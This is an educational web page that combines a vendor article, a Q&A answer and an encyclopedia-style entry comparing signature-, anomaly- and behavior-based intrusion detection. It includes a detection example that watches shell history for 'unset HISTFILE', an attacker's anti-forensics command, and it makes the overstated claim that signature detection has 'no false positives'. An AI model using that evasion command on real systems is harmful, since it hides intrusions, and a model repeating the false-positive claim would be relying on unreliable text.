What is the difference between anomaly-based monitoring and signature-based monitoring in an IDS system?

Intrusion detection systems are designed to be deployed in different environments. And like many cybersecurity solutions, an IDS can either be host-based or network-based.

Table of Contents Show

Anomaly-based detection
Behavior-based detection

Host-Based IDS (HIDS): A host-based IDS is deployed on a particular endpoint and designed to protect it against internal and external threats. Such an IDS may have the ability to monitor network traffic to and from the machine, observe running processes, and inspect the system’s logs. A host-based IDS’s visibility is limited to its host machine, decreasing the available context for decision-making, but has deep visibility into the host computer’s internals.
Network-Based IDS (NIDS): A network-based IDS solution is designed to monitor an entire protected network. It has visibility into all traffic flowing through the network and makes determinations based upon packet metadata and contents. This wider viewpoint provides more context and the ability to detect widespread threats; however, these systems lack visibility into the internals of the endpoints that they protect.

Due to the different levels of visibility, deploying a HIDS or NIDS in isolation provides incomplete protection to an organization’s system. A unified threat management solution, which integrates multiple technologies in one system, can provide more comprehensive security.

Beyond their deployment location, IDS solutions also differ in how they identify potential intrusions:

Signature Detection: Signature-based IDS solutions use fingerprints of known threats to identify them. Once malware or other malicious content has been identified, a signature is generated and added to the list used by the IDS solution to test incoming content. This enables an IDS to achieve a high threat detection rate with no false positives because all alerts are generated based upon detection of known-malicious content. However, a signature-based IDS is limited to detecting known threats and is blind to zero-day vulnerabilities.
Anomaly Detection: Anomaly-based IDS solutions build a model of the “normal” behavior of the protected system. All future behavior is compared to this model, and any anomalies are labeled as potential threats and generate alerts. While this approach can detect novel or zero-day threats, the difficulty of building an accurate model of “normal” behavior means that these systems must balance false positives (incorrect alerts) with false negatives (missed detections).
Hybrid Detection: A hybrid IDS uses both signature-based and anomaly-based detection. This enables it to detect more potential attacks with a lower error rate than using either system in isolation.

Intrusion Detection Systems and firewalls are both cybersecurity solutions that can be deployed to protect an endpoint or network. However, they differ significantly in their purposes.

An IDS is a passive monitoring device that detects potential threats and generates alerts, enabling security operations center (SOC) analysts or incident responders to investigate and respond to the potential incident. An IDS provides no actual protection to the endpoint or network. A firewall, on the other hand, is designed to act as a protective system. It performs analysis of the metadata of network packets and allows or blocks traffic based upon predefined rules. This creates a boundary over which certain types of traffic or protocols cannot pass.

Since a firewall is an active protective device, it is more like an Intrusion Prevention System (IPS) than an IDS. An IPS is like an IDS but actively blocks identified threats instead of simply raising an alert. This complements the functionality of a firewall, and many next-generation firewalls (NGFWs) have integrated IDS/IPS functionality. This enables them to both enforce the predefined filtering rules (firewalls) and detect and respond to more sophisticated cyber threats (IDS/IPS). Learn more about the IPS vs IDS debate here.

An IDS is a valuable component of any organization’s cybersecurity deployment. A simple firewall provides the foundation for network security, but many advanced threats can slip past it. An IDS adds an additional line of defense, making it more difficult for an attacker to gain access to an organization’s network undetected.

When selecting an IDS solution, it is important to carefully consider the deployment scenario. In some cases, an IDS may be the best choice for the job, while, in others, the integrated protection of an IPS may be a better option. Using a NGFW that has built-in IDS/IPS functionality provides an integrated solution, simplifying threat detection and security management.

Check Point has many years of experience in developing IDS and IPS systems that provide a high level of threat detection with very low error rates, enabling SOC analysts and incident responders to easily identify true threats. To see our NGFWs, with integrated IDS/IPS functionality, in action, request a demonstration or simply contact us with any questions. Furthermore, you’re welcome to learn about preventing attacks on IoT networks and devices in this webinar.

There is indeed a difference between anomaly-based and behavioral detection. Before exploring the two, I would like to point out that the intrusion detection community uses two additional styles: misused-based (aka. signature-based) and specification-based detection, yet these are unrelated to your question.

Anomaly-based detection

Definition: A two-step approach that involves first training a system with data to establish some notion of normality and then use the established profile on real data to flag deviations.

Example: look at some features of benign URLs, e.g., their length, character distribution, etc., to find define what a "normal" URL looks like. With this notion of normality, you would then flag URLs that are too far off the normal URL length or have too many abnormal characters in them.

Pros:

Can detect potentially a wide range of novel attacks

Cons:

May miss known attacks
May miss novel attacks if they don't stick out along the observed dimension
High fals positive rate (see the base rate fallacy)
Purity of training data (i.e., absence of attacks)

Behavior-based detection

Definition: Looking for evidence of compromise rather than the attack itself.

Example: monitor the shell history for unset HISTFILE, a command that typically only attackers enter after compromising a machine.

Pros:

May detect a wide range of novel attacks
Low false positives
Can be cheap to deploy and monitor

Cons:

Post-facto, attack already occurred
Easy to evade once known

An anomaly-based intrusion detection system, is an intrusion detection system for detecting both network and computer intrusions and misuse by monitoring system activity and classifying it as either normal or anomalous. The classification is based on heuristics or rules, rather than patterns or signatures, and attempts to detect any type of misuse that falls out of normal system operation. This is as opposed to signature-based systems, which can only detect attacks for which a signature has previously been created.[1]

In order to positively identify attack traffic, the system must be taught to recognize normal system activity. The two phases of a majority of anomaly detection systems consist of the training phase (where a profile of normal behaviors is built) and testing phase (where current traffic is compared with the profile created in the training phase).[2] Anomalies are detected in several ways, most often with artificial intelligence type techniques. Systems using artificial neural networks have been used to great effect. Another method is to define what normal usage of the system comprises using a strict mathematical model, and flag any deviation from this as an attack. This is known as strict anomaly detection.[3] Other techniques used to detect anomalies include data mining methods, grammar based methods, and Artificial Immune System.[2]

Network-based anomalous intrusion detection systems often provide a second line of defense to detect anomalous traffic at the physical and network layers after it has passed through a firewall or other security appliance on the border of a network. Host-based anomalous intrusion detection systems are one of the last layers of defense and reside on computer end points. They allow for fine-tuned, granular protection of end points at the application level.[4]

Anomaly-based Intrusion Detection at both the network and host levels have a few shortcomings; namely a high false-positive rate and the ability to be fooled by a correctly delivered attack.[3] Attempts have been made to address these issues through techniques used by PAYL[5] and MCPAD.[5]

References

^ Wang, Ke (2004). "Anomalous Payload-Based Network Intrusion Detection" (PDF). Recent Advances in Intrusion Detection. Lecture Notes in Computer Science. Springer Berlin. 3224: 203–222. doi:10.1007/978-3-540-30143-1_11. ISBN 978-3-540-23123-3. Archived from the original (PDF) on 2010-06-22. Retrieved 2011-04-22.
^ a b Khalkhali, I; Azmi, R; Azimpour-Kivi, M; Khansari, M. "Host-based web anomaly intrusion detection system, an artificial immune system approach". ProQuest. {{cite web}}: Missing or empty |url= (help)
^ a b A strict anomaly detection model for IDS, Phrack 56 0x11, Sasha/Beetle
^ Beaver, K. "Host-based IDS vs. network-based IDS: Which is better?". Tech Target, Search Security. {{cite web}}: Missing or empty |url= (help)
^ a b Perdisci, Roberto; Davide Ariu; Prahlad Fogla; Giorgio Giacinto; Wenke Lee (2009). "McPAD : A Multiple Classifier System for Accurate Payload-based Anomaly Detection" (PDF). Computer Networks. 5 (6): 864–881. doi:10.1016/j.comnet.2008.11.011.
^ Alonso, Samuel. "Cyber Threat hunting with Sqrrl (From Beaconing to Lateral Movement)". Retrieved 2019-08-17.